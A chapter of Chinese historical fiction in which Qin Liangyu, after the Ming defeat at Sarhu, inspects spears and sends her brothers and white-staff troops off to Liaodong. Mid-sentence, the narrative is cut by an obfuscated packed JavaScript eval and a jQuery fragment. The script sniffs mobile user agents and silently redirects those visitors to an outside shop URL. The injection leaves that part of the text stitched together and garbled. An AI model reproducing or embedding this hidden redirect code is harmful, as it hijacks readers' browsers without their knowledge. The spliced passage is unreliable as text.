萨尔浒的消息是三月间传回来的。
那天天阴着，云压得很低，像是又要下雪。报信的人快马加鞭跑死了两匹马才赶到，人到石柱时满身是汗，马却口吐白沫倒在了城门口。
明军大败。
杜松战死，马林败逃，刘綎战死。
秦良玉当时手里攥着令旗，正在校场看秦邦屏指挥白杆兵演阵。令旗是红底黑边，绸子做的，拿在手里软塌塌的，但秦良玉攥得很紧，指节都泛白了。
秦邦屏念完战报，停了下来。
没人说话。
演阵的兵停了动作，枪尖垂下来，杵在地上。铁枪头在地上戳出一排小坑，黄土扬起来，又落下去。
马老把总站在校场边上，白胡子抖了抖。
"刘大刀啊刘大刀……"
他的声音不大，但秦良玉听见了。
当年平播的时候，刘綎的大刀在阵前开路，白杆兵跟在后面收拾残局。刘綎使的那把刀，宽背窄刃，抡起来带着风，砍到人身上跟切菜似的。她见过那把刀，见过刘綎使刀的样子，也见过战后他拿布擦刀的样子。
那把刀现在在哪儿？没人知道。
秦良玉攥着令旗的手松开了。绸子从指缝间滑落，垂在地上，被风吹得轻轻晃了晃。
"继续练。"
秦邦屏看了她一眼，没动。
秦良玉从点将台上走下来，走到马老把总身边。
"刘大刀的兵，跟过我们的人，还有几个在？"
马老把总想了想，摇了摇头："不多。在辽东的，怕是也没几个了。"
秦良玉没接话，转身往回走。走到点将台边上，脚步顿了一顿，没回头。
"出发日子提前。四月初一。"
秦邦屏在阵前应了一声，喊了一声"起——"
枪阵重新动起来，枪尖齐刷刷地抬起，阳光落在上面，晃出一片白。
抚顺失守的消息比萨尔浒更早，但朝廷的征调令迟迟没下来。
万历四十六年四月抚顺陷落，快马传到石柱已是五月。辽东巡抚李维藩六月上折子请兵，折子进了兵部，兵部议了两个月没动静——户部说没饷，兵部说没兵，督抚互相推诿，朝堂上扯了一整个秋天。直到万历四十七年二月萨尔浒大败的消息震动了京师，征调令才由兵部快马递出，三月中旬抵达石柱。
令牌是快马送来的，一块黑铁刻着兵部二字，搁在桌上压出一道印。
秦良玉看了令牌，又看了陈思虞送来的粮草清单。清单上三千人的口粮、军械、冬衣，一项一项列得清楚，但银子不够——库房还差两千余两。
"银矿那边的账，能不能先挪？"
陈思虞摇头："矿上的银走的是另一条路，不经宣抚司。"
秦良玉把令牌收进抽屉，和覃氏的底册放在一起。
"差的银两，我去想办法。"
那天晚上，秦良玉把秦邦屏、秦邦翰和秦民屏叫到了宣抚司后堂。
门关着，屋里只点了一盏油灯。灯芯烧得噼啪响，火苗跳了几下，才稳住。
秦邦屏先开口："三千人不够。"
"三千人够了。石柱还要人守。"
秦邦翰一直没吭声，靠在柱子上，手指头无意识地摩挲着袖口磨出的毛边。半晌才说："左翼我带。"
秦良玉看了他一眼，点了点头。
秦民屏站起来："我和两个哥哥一起走。"
秦邦屏看了他一眼。秦良玉也没拦："路上你听你大哥的。"
秦民屏点了点头。
秦邦屏转向秦良玉："你随后跟上来？"
"我随后就来。"
屋里没人接话。秦邦屏站起来，拍了拍秦邦翰的肩膀，又拍了拍秦民屏的，力道都重，袖子拍出了声响。
夜里，秦良玉在书房里坐着。
桌上摊着粮草清单，她拿笔蘸了朱砂，在数目旁边画圈。画一个，念一个，画完了，把单子折起来，压在砚台底下。
架子上挂着三副甲胄，一副是秦邦屏的，一副是秦邦翰的，一副是秦民屏的。她取下来，翻到背面，检查铆钉。有几颗松了，她让人连夜修。修完了，又挂回去。
去了军械库。三间打通的屋子，墙上一排排白杆长枪，枪杆一丈二尺，白蜡木刷过桐油，泛着暗黄的光。枪头带钩，钩后面连着铁环。
她取下一杆枪，枪尾抵地，指腹贴着木纹从头到尾捋了一遍。摸到中段，指腹停了一下——有道浅纹路，不仔细看不出来。
她把枪杆举到灯下，斜着眼看了看，一道浅浅的裂纹。
"换掉。"
旁边守着的小吏把枪接过去，拿粉笔画了个记号。
又取下一杆，照旧摸了一遍。这根没有裂纹，但铁环上的焊点有些松动，晃一晃能听见响声。钩尖倒是还利，没有卷刃。
三千杆枪，她一晚上查了小一半。查出暗裂纹的三十一根，铁环松动的四十余根，钩尖卷刃的十七根。都做了记号，天亮之前送到工匠那里修。
库房角落堆着铁锭，去年冬天从彭水运来的，还没来得及打成新枪头。她记下数目，转身出去了。
最后坐下来，铺开一张纸，提笔给辽东写了几句话——路上该注意什么，到了该找谁，该怎么跟朝廷的人打交道。写完了，又看了一遍，把"别死出头"那句话划掉了。
纸干透了，装进信封封上，交给门口的亲兵。
"四月初一，跟队伍一起走。"
亲兵应了一声。
秦良玉看着他走远了，才转身回去。走到桌边，看见砚台底下还压着一张纸，是她白天没写完的。纸上就一句话："要是回不来——"
后面的没写。
她把纸揉成一团，扔进炭盆里。火烧得很旺，纸团进去，卷起来，变成灰。
天还没亮透，秦良玉已经到了校场。
兵丁们正在集合，按什伍站好。火把照着他们的脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642593|206725||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，照出额头上的汗珠子。有人在检查自己的刀，有人在低头系鞋带，有人就站在原地不动，盯着天边那一点泛白的地方看。
祥麟从队伍后面走过来，走到秦良玉面前。
"我也去。"
秦良玉看了他一眼。
"家里得留人。"
祥麟没动。
"祥麟。家里得留人。"
祥麟的嘴唇动了一下，像是还想说什么，最后没出声。他把手里的枪杆往地上一顿，转过身，走回了队伍后面。
秦良玉没再看他。
四月初一，清明后，石柱城门。
秦邦屏、秦邦翰、秦民屏站在队伍最前面。身后是三千白杆兵，枪上肩，刀在腰，辎重车跟在后面。车轮新涂过油，转起来吱呀作响。队伍中间靠后是酉阳来的兵，白再香代夫领兵，冉跃龙留守酉阳理事。她赶了六天山路到石柱汇合，石青色布袍袍角还沾着泥点，银簪上凝着一层细灰，但腰间的刀系得紧实，马也备好了。
送行的人不多。
秦良玉站在城门口，身后是马老把总、祥麟、翼明和拱明，几个跟了多年的老兵站在后面。
秦邦屏回过头，看着秦良玉。
"等我来信。"
"小心。"
就这两句。
秦邦屏点了点头，转身上马。
秦邦翰没回头，翻身上马的动作利落，马蹄踩了两下石板，站稳了。秦民屏抱了抱拳，嘴唇动了动，想说什么，最后没出声。他眼眶红了一圈，但没让眼泪掉下来。
白再香从队伍中段拨马上前，朝秦良玉微微颔首。秦良玉看了她一眼，没多说什么，只点了点头。
队伍开始移动，车轮碾过石板，发出咯吱咯吱的声响。兵丁们的脚步声混在一起，整齐得像是一个人走出来的。
翼明走到秦邦屏马前，张了张嘴，没说出话来。秦邦屏低头看了他一眼，拍了拍他的肩膀，没多说什么，把缰绳一收，调转马头。
拱明拉住秦民屏的袖子，手攥得紧紧的。秦民屏掰开他的手，揉了揉他的脑袋，低声说了句"看好家，听你爹的话"。
队伍越走越远，车轮扬起的尘土落在队伍后面，模糊了人影。石板路一直延伸到山脚，再转个弯，就看不见了。
翼明站在原地没动，眼睛一直盯着队伍消失的方向，攥着拳头，指节泛白。拱明低着头，手背上青筋都鼓起来了。
秦良玉看着那个弯道，站了很久。
祥麟站在她旁边，手里攥着枪杆，指节发白。他看着空荡荡的弯道，攥得更紧了，枪杆上留下了几个白印子。
秦良玉拍了拍他的肩膀。
"轮到我们的时候，准备好了。"
祥麟的手松开了。
"回去吧。"秦良玉说。
城门在身后缓缓关上，把外面的天光挡在了外头。城墙上的风还在吹，吹得旗子猎猎响，秦良玉仰头看了一眼，又低下头，往宣抚司走去。